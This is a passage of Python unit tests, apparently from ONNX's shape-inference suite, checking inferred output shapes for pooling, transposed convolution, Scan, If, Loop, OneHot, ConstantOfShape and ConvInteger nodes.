["Y", "Z"], kernel_shape=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 3, 3)), make_tensor_value_info("Z", TensorProto.INT64, (5, 3, 3, 3))]) def test_maxpool_3D(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4, 4))], [make_node("MaxPool", ["X"], ["Y"], kernel_shape=[2, 2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 3, 3, 3))]) def test_maxpool_with_padding(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("MaxPool", ["X"], ["Y"], kernel_shape=[2, 2], pads=[1, 1, 2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 6, 6))]) def test_maxpool_with_padding_and_stride(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("MaxPool", ["X"], ["Y"], kernel_shape=[2, 2], pads=[1, 1, 2, 2], strides=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 3, 3))]) def test_maxpool_with_floor_mode(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (32, 288, 35, 35))], [make_node("MaxPool", ["X"], ["Y"], kernel_shape=[2, 2], strides=[2, 2], ceil_mode=False)], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (32, 288, 17, 17))]) def test_maxpool_with_ceil_mode(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (32, 288, 35, 35))], [make_node("MaxPool", ["X"], ["Y"], kernel_shape=[2, 2], strides=[2, 2], ceil_mode=True)], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (32, 288, 18, 18))]) def test_maxpool_ceil(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (1, 1, 4, 4))], [make_node("MaxPool", ["X"], ["Y"], kernel_shape=[3, 3], strides=[2, 2], ceil_mode=True)], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (1, 1, 2, 2))]) def test_maxpool_with_dilations(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("MaxPool", ["X"], ["Y"], kernel_shape=[2, 2], dilations=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 2, 2))]) def test_maxpool_with_same_upper_padding_and_stride(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("MaxPool", ["X"], ["Y"], auto_pad="SAME_UPPER", kernel_shape=[2, 2], strides=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 2, 2))]) def test_maxpool_with_same_upper_padding_and_stride_and_dilation(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("MaxPool", ["X"], ["Y"], auto_pad="SAME_UPPER", kernel_shape=[2, 2], strides=[2, 2], dilations=[2, 3])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 2, 2))]) def test_maxpool_with_same_upper_padding_and_stride_one(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("MaxPool", ["X"], ["Y"], auto_pad="SAME_UPPER", kernel_shape=[2, 2], strides=[1, 1])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 4, 4))]) def test_maxpool_with_same_lower_padding_and_stride(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 9, 9))], [make_node("MaxPool", ["X"], ["Y"], auto_pad="SAME_LOWER", kernel_shape=[2, 2], strides=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 5, 5))]) def test_maxpool_with_same_lower_padding_and_stride_and_dilation(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 9, 9))], [make_node("MaxPool", ["X"], ["Y"], auto_pad="SAME_LOWER", kernel_shape=[2, 2], strides=[2, 2], dilations=[2, 3])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 5, 5))]) def test_maxpool_with_same_lower_padding_and_big_stride(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("MaxPool", ["X"], ["Y"], auto_pad="SAME_LOWER", kernel_shape=[2, 2], strides=[4, 4])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 1, 1))]) def test_averagepool(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("AveragePool", ["X"], ["Y"], kernel_shape=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 3, 3))]) def test_averagepool_3D(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4, 4))], [make_node("AveragePool", ["X"], ["Y"], kernel_shape=[2, 2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 3, 3, 3))]) def test_averagepool_with_padding(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("AveragePool", ["X"], ["Y"], kernel_shape=[2, 2], pads=[1, 1, 2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 6, 6))]) def test_averagepool_with_padding_and_stride(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("AveragePool", ["X"], ["Y"], kernel_shape=[2, 2], pads=[1, 1, 2, 2], strides=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 3, 3))]) def test_averagepool_ceil(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (1, 1, 4, 4))], [make_node("AveragePool", ["X"], ["Y"], kernel_shape=[3, 3], strides=[2, 2], ceil_mode=True)], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (1, 1, 2, 2))]) def test_lppool(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("LpPool", ["X"], ["Y"], kernel_shape=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 3, 3))]) def test_lppool_3D(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4, 4))], [make_node("LpPool", ["X"], ["Y"], kernel_shape=[2, 2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 3, 3, 3))]) def test_lppool_with_padding(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("LpPool", ["X"], ["Y"], kernel_shape=[2, 2], pads=[1, 1, 2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 6, 6))]) def test_lppool_with_padding_and_stride(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("LpPool", ["X"], ["Y"], kernel_shape=[2, 2], pads=[1, 1, 2, 2], strides=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 3, 3))]) def test_roipool(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4)), ("rois", TensorProto.INT64, (2, 5))], [make_node("MaxRoiPool", ["X", "rois"], ["Y"], pooled_shape=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (2, 3, 2, 2))]) def test_lp_norm(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5, 6, 7))], [make_node('LpNormalization', ['x'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (3, 4, 5, 6, 7))]) def test_instance_norm(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5, 6, 7)), ('scale', TensorProto.FLOAT, (4,)), ('b', TensorProto.FLOAT, (4,))], [make_node('InstanceNormalization', ['x', 'scale', 'b'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (3, 4, 5, 6, 7))]) def test_global_maxpool(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("GlobalMaxPool", ["X"], ["Y"])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 1, 1))]) def test_global_averagepool(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("GlobalAveragePool", ["X"], ["Y"])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 1, 1))]) def test_global_lppool(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("GlobalLpPool", ["X"], ["Y"])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 1, 1))]) def test_conv_transpose(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (25, 48, 16, 16)), ('W', TensorProto.FLOAT, (48, 32, 3, 3))], [make_node('ConvTranspose', ['X', 'W'], 'Y', strides=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (25, 32, 33, 33))]) def test_conv_transpose_with_pads(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (25, 48, 16, 16)), ('W', TensorProto.FLOAT, (48, 32, 3, 3))], [make_node('ConvTranspose', ['X', 'W'], 'Y', strides=[2, 2], pads=[1, 1, 2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (25, 32, 30, 30))]) def test_conv_transpose_with_output_shape(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (25, 48, 16, 16)), ('W', TensorProto.FLOAT, (48, 32, 3, 3))], [make_node('ConvTranspose', ['X', 'W'], 'Y', strides=[2, 2], pads=[1, 1, 2, 2], output_shape=[36, 36])], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (25, 32, 36, 36))]) def test_conv_transpose_with_kernel_shape(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (25, 48, 16, 16)), ('W', TensorProto.FLOAT, (48, 32, None, None))], [make_node('ConvTranspose', ['X', 'W'], 'Y', kernel_shape=[3, 3], strides=[2, 2], pads=[1, 1, 2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (25, 32, 30, 30))]) def test_conv_transpose_with_dilations(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (25, 48, 16, 16)), ('W', TensorProto.FLOAT, (48, 32, 3, 3))], [make_node('ConvTranspose', ['X', 'W'], 'Y', strides=[2, 2], pads=[1, 1, 2, 2], dilations=[3, 3])], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (25, 32, 34, 34))]) def test_conv_transpose_with_group(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (25, 48, 16, 16)), ('W', TensorProto.FLOAT, (48, 32, 3, 3))], [make_node('ConvTranspose', ['X', 'W'], 'Y', strides=[2, 2], pads=[1, 1, 2, 2], group=2)], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (25, 64, 30, 30))]) def test_conv_transpose_with_group_and_output_shape(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (25, 48, 16, 16)), ('W', TensorProto.FLOAT, (48, 32, 3, 3))], [make_node('ConvTranspose', ['X', 'W'], 'Y', strides=[2, 2], pads=[1, 1, 2, 2], group=2, output_shape=[36, 36])], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (25, 64, 36, 36))]) def test_conv_transpose_with_pads_and_auto_pads(self): # type: () -> None # This test should fail because pads cannot be used simultaneously with auto_pad graph = self._make_graph( [('X', TensorProto.FLOAT, (1, 1, 2, 2)), ('W', TensorProto.FLOAT, (1, 1, 3, 3)), ('B', TensorProto.FLOAT, (1, ))], [make_node('ConvTranspose', ['X', 'W', 'B'], 'Y', auto_pad="SAME_UPPER", strides=[1, 1], pads=[0, 1, 1, 0])], []) self.assertRaises(onnx.shape_inference.InferenceError, onnx.shape_inference.infer_shapes, helper.make_model(graph), strict_mode=True) def test_conv_transpose_auto_pads(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (25, 48, 16, 16)), ('W', TensorProto.FLOAT, (48, 32, 3, 3))], [make_node('ConvTranspose', ['X', 'W'], 'Y', auto_pad="SAME_UPPER", strides=[2, 2])], []) self._assert_inferred( graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (25, 32, 32, 32))]) def test_mvn_function_output_shape(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (25, 48, 16, 16))], [make_node('MeanVarianceNormalization', 'X', 'Y', axes=[0, 2, 3])], [] ) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (25, 48, 16, 16))]) def test_scan(self): # type: () -> None batch_size = 1 seq_len = 'sequence' input_size = 2 loop_state_size = 3 # can't use self._make_graph for the subgraph as it add more inputs for the Reshape operations it inserts. # this breaks the subgraph inferencing as it expects the number of inputs passed from Scan to match # the GraphProto, but Scan knows nothing about the additional inputs. input_value_infos = [make_tensor_value_info('loop_state_in', TensorProto.UNDEFINED, None), make_tensor_value_info('input', TensorProto.UNDEFINED, None)] output_value_infos = [make_tensor_value_info('loop_state_out', TensorProto.UNDEFINED, None), make_tensor_value_info('output', TensorProto.UNDEFINED, None)] subgraph = helper.make_graph( [make_node('Identity', ['loop_state_in'], ['loop_state_out']), make_node('Identity', ['input'], ['output'])], "subgraph", input_value_infos, output_value_infos ) graph = self._make_graph( [('loop_state_orig', TensorProto.FLOAT, (batch_size, loop_state_size)), ('scan_input', TensorProto.FLOAT, (batch_size, seq_len, input_size))], [make_node('Scan', ['', 'loop_state_orig', 'scan_input'], ['loop_state_final', 'scan_output'], num_scan_inputs=1, body=subgraph)], [] ) self._assert_inferred( graph, [make_tensor_value_info('loop_state_final', TensorProto.FLOAT, (batch_size, loop_state_size)), make_tensor_value_info('scan_output', TensorProto.FLOAT, (batch_size, seq_len, input_size))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 8)]) def test_scan_opset9(self): # type: () -> None seq_len = 'sequence' input_size = 2 loop_state_size = 3 # can't use self._make_graph for the subgraph as it add more inputs for the Reshape operations it inserts. # this breaks the subgraph inferencing as it expects the number of inputs passed from Scan to match # the GraphProto, but Scan knows nothing about the additional inputs. input_value_infos = [make_tensor_value_info('loop_state_in', TensorProto.UNDEFINED, None), make_tensor_value_info('input', TensorProto.UNDEFINED, None)] output_value_infos = [make_tensor_value_info('loop_state_out', TensorProto.UNDEFINED, None), make_tensor_value_info('output', TensorProto.UNDEFINED, None)] subgraph = helper.make_graph( [make_node('Identity', ['loop_state_in'], ['loop_state_out']), make_node('Identity', ['input'], ['output'])], "subgraph", input_value_infos, output_value_infos ) graph = self._make_graph( [('loop_state_orig', TensorProto.FLOAT, (loop_state_size,)), ('scan_input', TensorProto.FLOAT, (seq_len, input_size))], [make_node('Scan', ['loop_state_orig', 'scan_input'], ['loop_state_final', 'scan_output'], num_scan_inputs=1, body=subgraph)], [] ) self._assert_inferred( graph, [make_tensor_value_info('loop_state_final', TensorProto.FLOAT, (loop_state_size,)), make_tensor_value_info('scan_output', TensorProto.FLOAT, (seq_len, input_size))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 9)]) def test_scan_opset9_axes(self): # type: () -> None axis_0_len = 'axis0' seq_len = 'sequence' input_size = 2 loop_state_size = 3 # can't use self._make_graph for the subgraph as it add more inputs for the Reshape operations it inserts. # this breaks the subgraph inferencing as it expects the number of inputs passed from Scan to match # the GraphProto, but Scan knows nothing about the additional inputs. input_value_infos = [make_tensor_value_info('loop_state_in', TensorProto.UNDEFINED, None), make_tensor_value_info('input', TensorProto.UNDEFINED, None)] output_value_infos = [make_tensor_value_info('loop_state_out', TensorProto.UNDEFINED, None), make_tensor_value_info('output', TensorProto.UNDEFINED, None)] subgraph = helper.make_graph( [make_node('Identity', ['loop_state_in'], ['loop_state_out']), make_node('Identity', ['input'], ['output'])], "subgraph", input_value_infos, output_value_infos ) graph = self._make_graph( [('loop_state_orig', TensorProto.FLOAT, (loop_state_size,)), ('scan_input', TensorProto.FLOAT, (axis_0_len, seq_len, input_size))], [make_node('Scan', ['loop_state_orig', 'scan_input'], ['loop_state_final', 'scan_output'], num_scan_inputs=1, body=subgraph, scan_input_axes=[1])], [] ) self._assert_inferred( graph, [make_tensor_value_info('loop_state_final', TensorProto.FLOAT, (loop_state_size,)), make_tensor_value_info('scan_output', TensorProto.FLOAT, (seq_len, axis_0_len, input_size))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 9)]) def test_scan_opset9_output_axes(self): # type: () -> None axis_0_len = 'axis0' seq_len = 'sequence' input_size = 2 loop_state_size = 3 input_value_infos = [make_tensor_value_info('loop_state_in', TensorProto.UNDEFINED, None), make_tensor_value_info('input', TensorProto.UNDEFINED, None)] output_value_infos = [make_tensor_value_info('loop_state_out', TensorProto.UNDEFINED, None), make_tensor_value_info('output', TensorProto.UNDEFINED, None)] subgraph = helper.make_graph( [make_node('Identity', ['loop_state_in'], ['loop_state_out']), make_node('Identity', ['input'], ['output'])], "subgraph", input_value_infos, output_value_infos ) graph = self._make_graph( [('loop_state_orig', TensorProto.FLOAT, (loop_state_size,)), ('scan_input', TensorProto.FLOAT, (axis_0_len, seq_len, input_size))], [make_node('Scan', ['loop_state_orig', 'scan_input'], ['loop_state_final', 'scan_output'], num_scan_inputs=1, body=subgraph, scan_input_axes=[1], scan_output_axes=[1])], [] ) self._assert_inferred( graph, [make_tensor_value_info('loop_state_final', TensorProto.FLOAT, (loop_state_size,)), make_tensor_value_info('scan_output', TensorProto.FLOAT, (axis_0_len, seq_len, input_size))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 9)]) def test_scan_opset9_negative_axes(self): # type: () -> None axis_0_len = 'axis0' seq_len = 'sequence' input_size = 2 loop_state_size = 3 input_value_infos = [make_tensor_value_info('loop_state_in', TensorProto.UNDEFINED, None), make_tensor_value_info('input', TensorProto.UNDEFINED, None)] output_value_infos = [make_tensor_value_info('loop_state_out', TensorProto.UNDEFINED, None), make_tensor_value_info('output', TensorProto.UNDEFINED, None)] subgraph = helper.make_graph( [make_node('Identity', ['loop_state_in'], ['loop_state_out']), make_node('Identity', ['input'], ['output'])], "subgraph", input_value_infos, output_value_infos ) graph = self._make_graph( [('loop_state_orig', TensorProto.FLOAT, (loop_state_size,)), ('scan_input', TensorProto.FLOAT, (axis_0_len, seq_len, input_size))], [make_node('Scan', ['loop_state_orig', 'scan_input'], ['loop_state_final', 'scan_output'], num_scan_inputs=1, body=subgraph, scan_input_axes=[-2], scan_output_axes=[-2])], [] ) self._assert_inferred( graph, [make_tensor_value_info('loop_state_final', TensorProto.FLOAT, (loop_state_size,)), make_tensor_value_info('scan_output', TensorProto.FLOAT, (axis_0_len, seq_len, input_size))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 9)]) def test_if_ver1(self): # type: () -> None # Create a simple If node where the 'then' subgraph adds to the current value, and the 'else' subgraph # subtracts. # can't use self._make_graph for the subgraphs as that add more inputs for the Reshape operations it inserts. # this breaks the subgraph inferencing as it expects the subgraphs to have zero inputs then_subgraph = helper.make_graph( [make_node('Add', ['current_value', 'add_value'], ['then_output'])], "then_subgraph", [], # no inputs [make_tensor_value_info('then_output', TensorProto.UNDEFINED, None)], ) else_subgraph = helper.make_graph( [make_node('Sub', ['current_value', 'sub_value'], ['else_output'])], "else_subgraph", [], # no inputs [make_tensor_value_info('else_output', TensorProto.UNDEFINED, None)], ) graph = self._make_graph( [('cond', TensorProto.BOOL, (1,)), ('current_value', TensorProto.FLOAT, (1,)), ('add_value', TensorProto.FLOAT, (1,)), ('sub_value', TensorProto.FLOAT, (1,))], [make_node('If', ['cond'], ['if_output'], then_branch=then_subgraph, else_branch=else_subgraph)], [] ) self._assert_inferred( graph, [make_tensor_value_info('if_output', TensorProto.FLOAT, (1,))], opset_imports=[make_opsetid(ONNX_DOMAIN, 10)]) def test_if(self): # type: () -> None # Create a simple If node where the 'then' subgraph adds to the current value, and the 'else' subgraph # subtracts. # can't use self._make_graph for the subgraphs as that add more inputs for the Reshape operations it inserts. # this breaks the subgraph inferencing as it expects the subgraphs to have zero inputs then_subgraph = helper.make_graph( [make_node('Add', ['current_value', 'add_value'], ['then_output'])], "then_subgraph", [], # no inputs [make_tensor_value_info('then_output', TensorProto.UNDEFINED, None)], ) else_subgraph = helper.make_graph( [make_node('Sub', ['current_value', 'sub_value'], ['else_output'])], "else_subgraph", [], # no inputs [make_tensor_value_info('else_output', TensorProto.UNDEFINED, None)], ) graph = self._make_graph( [('cond', TensorProto.BOOL, (1,)), ('current_value', TensorProto.FLOAT, (1,)), ('add_value', TensorProto.FLOAT, (1,)), ('sub_value', TensorProto.FLOAT, (1,))], [make_node('If', ['cond'], ['if_output'], then_branch=then_subgraph, else_branch=else_subgraph)], [] ) self._assert_inferred(graph, [make_tensor_value_info('if_output', TensorProto.FLOAT, (1,))]) def test_if_with_different_shapes_in_then_else_branches(self): # type: () -> None # Create a simple If node where the 'then' subgraph adds to the current value, and the 'else' subgraph # subtracts. # can't use self._make_graph for the subgraphs as that add more inputs for the Reshape operations it inserts. # this breaks the subgraph inferencing as it expects the subgraphs to have zero inputs then_subgraph = helper.make_graph( [make_node('Add', ['current_value', 'add_value'], ['then_output'])], "then_subgraph", [], # no inputs [make_tensor_value_info('then_output', TensorProto.UNDEFINED, (1,))], ) else_subgraph = helper.make_graph( [make_node('Sub', ['current_value', 'sub_value'], ['else_output'])], "else_subgraph", [], # no inputs [make_tensor_value_info('else_output', TensorProto.UNDEFINED, (5,))], ) graph = self._make_graph( [('cond', TensorProto.BOOL, (1,)), ('current_value', TensorProto.FLOAT, (1,)), ('add_value', TensorProto.FLOAT, (1,)), ('sub_value', TensorProto.FLOAT, (5,))], [make_node('If', ['cond'], ['if_output'], then_branch=then_subgraph, else_branch=else_subgraph)], [] ) self._assert_inferred(graph, [make_tensor_value_info('if_output', TensorProto.FLOAT, (None,))]) # type: ignore def test_maxunpool_shape_without_output_shape(self): # type: () -> None graph = self._make_graph( [('xT', TensorProto.FLOAT, (1, 1, 2, 2)), ('xI', TensorProto.FLOAT, (1, 1, 2, 2))], [make_node('MaxUnpool', ['xT', 'xI'], 'Y', kernel_shape=[2, 2], strides=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (1, 1, 4, 4))]) def test_maxunpool_shape_with_output_shape(self): # type: () -> None graph = self._make_graph( [('xT', TensorProto.FLOAT, (1, 1, 2, 2)), ('xI', TensorProto.FLOAT, (1, 1, 2, 2)), ('output_shape', TensorProto.FLOAT, (4, ))], [make_node('MaxUnpool', ['xT', 'xI', 'output_shape'], 'Y', kernel_shape=[2, 2], strides=[2, 2])], [make_tensor_value_info("Y", TensorProto.FLOAT, None)]) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, None)]) def test_onehot_without_axis(self): # type: () -> None graph = self._make_graph( [('indices', TensorProto.INT64, (2, 2)), ('depth', TensorProto.INT64, ()), ('values', TensorProto.FLOAT, (2, ))], [make_node('OneHot', ['indices', 'depth', 'values'], 'Y')], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (2, 2, None))]) # type: ignore def test_onehot_with_axis(self): # type: () -> None graph = self._make_graph( [('indices', TensorProto.INT64, (2, 3, 5)), ('depth', TensorProto.INT64, (1, )), ('values', TensorProto.FLOAT, (2, ))], [make_node('OneHot', ['indices', 'depth', 'values'], 'Y', axis=1)], []) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (2, None, 3, 5))]) # type: ignore def test_loop(self): # type: () -> None # can't use self._make_graph for the subgraph as it add more inputs for the Reshape operations it inserts. # this breaks the subgraph inferencing as it expects the number of inputs passed from Loop to match # the GraphProto, but Loop knows nothing about the additional inputs. input_value_infos = [make_tensor_value_info('iter_num_in', TensorProto.INT64, (1,)), make_tensor_value_info('cond_in', TensorProto.UNDEFINED, None), make_tensor_value_info('loop_state_in', TensorProto.UNDEFINED, ())] output_value_infos = [make_tensor_value_info('cond_out', TensorProto.UNDEFINED, None), make_tensor_value_info('loop_state_out', TensorProto.UNDEFINED, None), make_tensor_value_info('output', TensorProto.FLOAT, (3,))] subgraph = helper.make_graph( [make_node('Identity', ['cond_in'], ['cond_out']), make_node('Identity', ['loop_state_in'], ['loop_state_out']), make_node('Identity', ['outer_scope_input'], ['output'])], "subgraph", input_value_infos, output_value_infos ) graph = self._make_graph( [('max_trip_count', TensorProto.INT64, (1,)), ('cond_orig', TensorProto.FLOAT, (1,)), ('loop_state_orig', TensorProto.FLOAT, (2,)), ('outer_scope_input', TensorProto.FLOAT, (3,))], [make_node('Loop', ['max_trip_count', 'cond_orig', 'loop_state_orig'], ['loop_state_final', 'loop_output'], body=subgraph)], [] ) self._assert_inferred( graph, [make_tensor_value_info('loop_state_final', TensorProto.FLOAT, None), # shape may change between iterations make_tensor_value_info('loop_output', TensorProto.FLOAT, (None, 3))]) # type: ignore def test_loop_no_state(self): # type: () -> None input_value_infos = [make_tensor_value_info('iter_num_in', TensorProto.INT64, (1,)), make_tensor_value_info('cond_in', TensorProto.UNDEFINED, None)] output_value_infos = [make_tensor_value_info('cond_out', TensorProto.UNDEFINED, None), make_tensor_value_info('output', TensorProto.FLOAT, (3,))] subgraph = helper.make_graph( [make_node('Identity', ['cond_in'], ['cond_out']), make_node('Identity', ['outer_scope_input'], ['output'])], "subgraph", input_value_infos, output_value_infos ) graph = self._make_graph( [('max_trip_count', TensorProto.INT64, (1,)), ('cond_orig', TensorProto.FLOAT, (1,)), ('outer_scope_input', TensorProto.FLOAT, (3,))], [make_node('Loop', ['max_trip_count', 'cond_orig'], ['loop_output'], body=subgraph)], [] ) self._assert_inferred( graph, [make_tensor_value_info('loop_output', TensorProto.FLOAT, (None, 3))]) # type: ignore def test_constantofshape_with_input_shape(self): # type: () -> None graph = self._make_graph([], [make_node("Constant", [], ['shape'], value=make_tensor('shape', TensorProto.INT64, (3,), (3, 4, 5))), make_node("ConstantOfShape", ['shape'], ['y'], value=make_tensor('value', TensorProto.INT32, (1, ), (2, )))], []) self._assert_inferred(graph, [make_tensor_value_info('shape', TensorProto.INT64, (3,)), make_tensor_value_info('y', TensorProto.INT32, (3, 4, 5))]) # type: ignore def test_constantofshape_without_input_shape(self): # type: () -> None graph = self._make_graph([('shape', TensorProto.INT64, (3, ))], [make_node("ConstantOfShape", ['shape'], ['y'], value=make_tensor('value', TensorProto.UINT8, (1, ), (2, )))], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, (None, None, None))]) # type: ignore def test_constantofshape_without_input_shape_scalar(self): # type: () -> None graph = self._make_graph([('shape', TensorProto.INT64, (0, ))], [make_node("ConstantOfShape", ['shape'], ['y'], value=make_tensor('value', TensorProto.UINT8, (1, ), (2, )))], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, ())]) # type: ignore def test_constantofshape_with_shape_zero(self): # type: () -> None graph = self._make_graph([], [make_node("Constant", [], ['shape'], value=make_tensor('shape', TensorProto.INT64, (1,), (0,))), make_node("ConstantOfShape", ['shape'], ['y'], value=make_tensor('value', TensorProto.INT32, (1, ), (2, )))], []) self._assert_inferred(graph, [make_tensor_value_info('shape', TensorProto.INT64, (1,)), make_tensor_value_info('y', TensorProto.INT32, (0,))]) # type: ignore def test_convinteger(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (3, 4, 5, 6, 7)), ('y', TensorProto.UINT8, (5, 4, 2, 4, 3))], [make_node('ConvInteger', ['x', 'y'], 'z', pads=[0, 1, 1, 0, 0, 1], dilations=[1, 2, 2], strides=[1, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.INT32, (3, 5, 4, 1, 3))]) def test_convinetger_dilations(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (30, 4, 8, 8, 8)), ('y', TensorProto.INT8, (50, 4, 3, 3, 3)), ('x_zero_point', TensorProto.UINT8, ()), ('y_zero_point', TensorProto.UINT8, ())], [make_node('ConvInteger', ['x', 'y', 'x_zero_point', 'y_zero_point'], 'z', dilations=[1, 2, 3])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.INT32, (30, 50, 6, 4, 2))]) def test_convinteger_strides(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT8, (30, 4, 8, 8, 8)), ('y', TensorProto.INT8, (50, 4, 3, 3, 3)), ('x_zero_point', TensorProto.UINT8, ()), ('y_zero_point', TensorProto.UINT8, ())], [make_node('ConvInteger', ['x', 'y', 'x_zero_point', 'y_zero_point'], 'z', strides=[1, 2, 3])], []) self._assert_inferred(graph, [make_tensor_value_info('z', 